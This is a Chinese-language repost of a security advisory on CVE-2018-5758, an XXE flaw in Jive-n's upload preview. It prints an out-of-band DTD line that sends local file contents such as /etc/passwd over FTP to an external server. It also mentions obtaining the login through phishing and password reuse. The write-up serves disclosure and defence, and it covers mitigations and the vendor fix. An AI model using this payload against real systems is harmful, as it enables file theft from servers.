这篇文章给大家介绍如何分析在Jive-n中的一个XXE漏洞 ,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
下面将介绍一个我们在Jive Software的Jive-n平台中发现的一个XML外部实体注入(XXE)漏洞-CVE-2018-5758。
Rhino安全实验室的研究人员近期在企业员工内网通信软件Jive-n中发现了一个XML外部实体注入(XXE)漏洞,该漏洞存在于应用程序的文件上传功能中,通过上传一个嵌入了XXE Payload的微软Word文档,攻击者将能够读取目标操作系统中的任何文件和文件夹内容。
背景:Jive-n和Jive Software
Jive-n是Jive Software旗下的一款产品,这款内网社交通信软件可以帮助企业员工之间通过内网进行交互。它既可以作为SaaS产品使用,也可以作为内部/自托管应用程序来使用。在我们的研究过程中,我们在Jive-n中发现了一个已激活的实例,但这个实例并没有激活使用。我们在一次钓鱼活动中获取到了登录凭证(密码复用),所以我们可以直接登录到这款App。
识别潜在的安全问题
Jive-n其中的一个功能就是上传文件并与内网中其他员工共享。在公开已上传文件之前,应用程序会尝试在页面中通过一个Flash对象来显示文件内容。在使用普通的微软office文档进行了初始测试之后,我们认为这里可能存在XXE漏洞。
XXE服务器配置
Payload首先使用了目标系统中一份本地文件路径定义了一个XML实体,然后使用一个外部实体来向我们的外部服务器发送一个HTTP请求。我们的服务器将会以文档类型定义(DTD)响应,然后命令应用程序服务器使用FTP协议向我们的外部服务器发送之前定义的XML实体(指向本地文件)。我们可以使用这个名叫“oxml_xxe”的软件【下载地址】完成这部分操作,我们的目标文件为:file:///etc/passwd。
在我们的XXE服务器(由Rhino安全研究人员开发-【传送门】)上,我们设置了一个HTTP监听器(端口80)和一个FTP监听器(端口8080),并准备正确处理传入的请求。我们所使用的DTD如下:
<!ENTITY % all "<!ENTITY send SYSTEM'ftp://our-external-server.com:8080/%file;'>">
%all;
成功利用XXE漏洞
我们的目标应用近期好像没有进行过多的操作,所以我们准备上传一个“隐藏”文件,这份Word文件不会暴露给应用程序的所有用户。Jive-n其中的一个功能就是允许用户在发布该文件之前浏览已上传文件的内容,它使用了Flash来尝试在浏览器中呈现已上传的微软Office文档内容,包括Word、Excel和PowerPoint。
一开始我们上传了恶意文档,并使用“保存草稿”功能来尝试让Jive-n呈现文档内容。虽然没有成功,但是Jive-n显示了一条错误信息以及一个“查看”或“下载”文件的选项。
一般来说,XML在这里就应该得到解析并执行Payload了,但是我们发现这里并不是这样。实际上,我们的服务器一直都没有收到请求,直到我们点击上图中的“View”(查看)选项。点击之后,Payload成功执行了,而文件内容也发送到了我们的XXE服务器上。
上图中主要发生了三件事情:
1. 蓝色框中的内容是初始HTTP请求,由应用程序服务器发送到我们的服务器上。
2. 绿色框中的内容是我们服务器针对该请求的响应数据。
3. 橙红色框中的是通过FTP连接发送给我们的一小部分数据。
我们还发现,通过请求路径file:///etc/,我们可以获取到etc目录中的目录列表。
潜在的缓解方案
Jive-n的管理员可以使用反病毒软件来对用户上传的文件进行扫描,但是这种方法还不能保证是否能够检测到某些专门制作的Payload(未测试)。不过,反病毒产品可以检测到带外连接、操作系统文件被读取、或者FTP协议被使用等情况。在使用反病毒产品以及禁用XML外部实体的情况下,这种攻击的影响是可以缓解的。
厂商修复CVE-2018-5758
根据厂商提供的信息,最新版本软件即服务形式的Jive-n已经修复了这个XXE注入漏洞,并禁用了远程DTD的访问,现在程序的XML解释器已经不会再处理外部实体了,因此SaaS版本的Jive-n用户将不会再受到该漏洞的影响。
关于如何分析在Jive-n中的一个XXE漏洞 就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/tech/safety/222083.html